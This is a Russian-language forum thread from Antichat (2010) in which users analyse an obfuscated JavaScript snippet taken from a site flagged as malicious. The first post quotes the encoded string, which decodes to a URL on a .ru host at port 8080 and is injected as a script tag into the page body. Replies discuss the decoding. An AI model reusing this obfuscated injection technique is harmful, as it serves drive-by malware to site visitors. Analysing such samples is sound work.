HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
Перезагрузить страницу странный урл в одном крипте
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

странный урл в одном крипте
  #1  
Старый 14.05.2010, 20:43
Дикс
Познавший АНТИЧАТ
Регистрация: 16.04.2006
Сообщений: 1,488
С нами: 10562786

Репутация: 537


Question странный урл в одном крипте
наткнулся на blogsspam.ru - антивирус и гугл всячески препятствовали его открытию, но я вытянул его вгетом и стал изучать исходники.

в них был крипт с таким текстом:

PHP код:

attrValue1 = 'h^@!!)t)t!^p(:#$/^()#/()p&^)!c(($h((o#m!)e&&-!()n@)!(e@($t).!g!o#o$(g$!#@&l($)e#@^$.(##!(c^o#$^m##.#a!@r@$^!.@@&$t@&r!#!)!a(i@@d&&$@n#t#@(&-$!n&#&e!))t(&.$^b@!$e^$@s(^!$t&m$@$@^e@@d!(@&p)^r)(o#&#.&r^u@$@:)!8^0#(@(8@^0$!/&g)o&o#^g@#$(l!(&e&((.!)c^o&#&m$$)/@!g@o^&)o^$&g@(l$!^e$^&.@(c!&&o)&m$/^(z$#)&5^x$^.#^^n(e&#!#@t((#/##c^$$a!^r@&e(e!#@r@(#b#u&i##!l^#d)e!r&(&.^$$c!^^o#((m(@/!$^o^(&p)&e^r!a$^^.!^c&(&o@)m@#(#/@'.replace(/@|\^|\!|\(|\)|#|\$|&/ig, '');


// это означает:

http://pchome-net.google.com.ar.traidnt-net.bestmedpro.ru:8080/google.com/google.com/z5x.net/careerbuilder.com/opera.com/ 
в результате создается тег script, эта строка ставится ему в src и он прикрепляется к body.

вопрос - что это за адрес такой? опера его не открывает
𝕏 Twitter Reddit Telegram Копировать ссылку
 
Ответить с цитированием

  #2  
Старый 14.05.2010, 20:48
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами: 9410786

Репутация: 2731


По умолчанию
PHP код:
replace(/@|^|!|(|)|#|\$|&/ig, '') 
ни о чем не говорит?
 
Ответить с цитированием

  #3  
Старый 14.05.2010, 20:49
Kaimi
Познавший АНТИЧАТ
Регистрация: 23.08.2007
Сообщений: 1,237
С нами: 9851426

Репутация: 1676


По умолчанию
Код:
http://pchome-net.google.com.ar.traidnt-net.bestmedpro.ru:8080/google.com/google.com/z5x.net/careerbuilder.com/opera.com/
 
Ответить с цитированием

  #4  
Старый 14.05.2010, 20:58
Дикс
Познавший АНТИЧАТ
Регистрация: 16.04.2006
Сообщений: 1,488
С нами: 10562786

Репутация: 537


По умолчанию
Цитата:
replace(/@|^|!|(|)|#|\$|&/ig, '')
перечислены символы, которые удаляются из строки
и?

Kaimi
чем твой адрес отличается от моего?
ясности не внесло
 
Ответить с цитированием

  #5  
Старый 14.05.2010, 21:45
PaCo
Постоянный
Регистрация: 06.02.2008
Сообщений: 494
С нами: 9610769

Репутация: 380
По умолчанию
Судя по всему там раньше был scr для нехорошего скрипта, мейби когда домен попал в черный список или еще чего заменили scr вот на такое, а может у bestmedpro.ru действительно раньше были такие сабы потому как адрес вполне соответствует RFC 1630, но их снесли.
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Исследователи загрузили миллион ядер linux на одном компьютере XikarO Мировые новости. Обсуждения. 13 14.08.2009 02:44
На одном из мощнейших суперкомпьютеров СНГ внедрена платформа ALT Linux PaLb14 Мировые новости. Обсуждения. 0 24.12.2008 20:19



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.